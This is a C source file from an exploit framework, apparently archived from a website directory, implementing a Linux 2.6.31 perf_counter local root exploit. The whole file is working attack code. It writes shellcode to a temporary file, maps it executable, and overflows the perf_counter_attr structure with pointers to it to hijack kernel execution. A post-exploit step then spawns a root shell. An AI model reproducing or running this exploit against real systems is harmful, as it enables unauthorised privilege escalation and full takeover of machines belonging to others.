home *** CD-ROM | disk | FTP | other *** search
/ comtecelectrical.ca / www.comtecelectrical.ca.tar / www.comtecelectrical.ca / enlightenment / exp_ingom0wnar.c < prev    next >
C/C++ Source or Header  |  2009-09-21  |  3KB  |  127 lines

  1. /* Ingo m0wnar */
  2. #include <stdio.h>
  3. #include <unistd.h>
  4. #include <stdlib.h>
  5. #include <fcntl.h>
  6. #include <sched.h>
  7. #include <sys/mman.h>
  8. #include <sys/syscall.h>
  9. #include "exp_framework.h"
  10.  
  11. #undef __NR_perf_counter_open
  12. #ifdef __x86_64__
  13. #define __NR_perf_counter_open 298
  14. //#define OFFSET_OF_IP 0x88
  15. #define BUF_SIZE 0x100
  16. #else
  17. #define __NR_perf_counter_open 336
  18. //#define OFFSET_OF_IP 0x5c
  19. #define BUF_SIZE 0x80
  20. #endif
  21.  
  22. struct perf_counter_attr {
  23.     unsigned int type;
  24.     unsigned int size;
  25. };
  26.  
  27. struct exploit_state *exp_state;
  28.  
  29. char *desc = "Ingo m0wnar: Linux 2.6.31 perf_counter local root (Ingo backdoor method)";
  30.  
  31. int get_exploit_state_ptr(struct exploit_state *ptr)
  32. {
  33.     exp_state = ptr;
  34.     return 0;
  35. }
  36.  
  37. int requires_null_page = 0;
  38.  
  39.  
  40. static char *dirty_code;
  41.  
  42. int prepare(unsigned char *ptr)
  43. {
  44.     char *mem;
  45.     int fd;
  46.  
  47.     fd = open("./suckit_selinux", O_CREAT | O_WRONLY, 0644);
  48.     if (fd < 0) {
  49.         printf("unable to create file\n");
  50.         exit(1);
  51.     }
  52.  
  53.     mem = (char *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  54.     if (mem == MAP_FAILED) {
  55.         printf("unable to mmap\n");
  56.         unlink("./suckit_selinux");
  57.         exit(1);
  58.     }
  59.         mem[0] = '\xff';
  60.         mem[1] = '\x15';
  61.         *(unsigned int *)&mem[2] = (sizeof(unsigned long) != sizeof(unsigned int)) ? 6 : (unsigned int)mem + 12;
  62.         mem[6] = '\xff';
  63.         mem[7] = '\x25';
  64.         *(unsigned int *)&mem[8] = (sizeof(unsigned long) != sizeof(unsigned int)) ? sizeof(unsigned long) : (unsigned int)mem + 16;
  65.         *(unsigned long *)&mem[12] = (unsigned long)exp_state->own_the_kernel;
  66.         *(unsigned long *)&mem[12 + sizeof(unsigned long)] = (unsigned long)exp_state->exit_kernel;
  67.     write(fd, mem, 0x1000);
  68.     close(fd);
  69.     munmap(mem, 0x1000);
  70.  
  71.     fd = open("./suckit_selinux", O_RDONLY);
  72.     if (fd < 0) {
  73.         printf("unable to open file for reading\n");
  74.         unlink("./suckit_selinux");
  75.         exit(1);
  76.     }
  77.     dirty_code = (char *)mmap(NULL, 0x1000, PROT_READ | PROT_EXEC, MAP_PRIVATE, fd, 0);
  78.     if (dirty_code == MAP_FAILED) {
  79.         printf("unable to mmap\n");
  80.         exit(1);
  81.     }
  82.  
  83.     unlink("./suckit_selinux");
  84.  
  85.     return 0;
  86. }
  87.  
  88. int trigger(void)
  89. {
  90.     struct perf_counter_attr *ctr;
  91.     int tid;
  92.     int i;
  93.  
  94.     ctr = (struct perf_counter_attr *)calloc(1, 0x1000);
  95.     if (ctr == NULL) {
  96.         fprintf(stdout, "out of memory\n");
  97.         exit(1);
  98.     }
  99.  
  100.     /* Ingo's 3 line backdoor, reminds me of wait4() */
  101.     //ctr->size = BUF_SIZE;
  102.     //*(unsigned long *)((char *)ctr + OFFSET_OF_IP) = (unsigned long)dirty_code;
  103.     //syscall(__NR_perf_counter_open, ctr, getpid(), 0, 0, 0UL);
  104.  
  105.     /* just in case it gets compiled differently... ;) */
  106.     ctr->size = BUF_SIZE;
  107.     for (i = 0x40; i < BUF_SIZE; i+= sizeof(unsigned long)) {
  108.         if (!(i % (sizeof(unsigned long) * sizeof(unsigned long))))
  109.             continue;
  110.         *(unsigned long *)((char *)ctr + i) = (unsigned long)dirty_code;
  111.     }
  112.  
  113.     syscall(__NR_perf_counter_open, ctr, getpid(), 0, 0, 0UL);
  114.  
  115.     /* if we're successful, we won't get to this next line */
  116.  
  117.     fprintf(stdout, "System is not vulnerable.\n");
  118.     exit(1);
  119.  
  120.     return 0;
  121. }
  122.  
  123. int post(void)
  124. {
  125.     return RUN_ROOTSHELL;
  126. }
  127.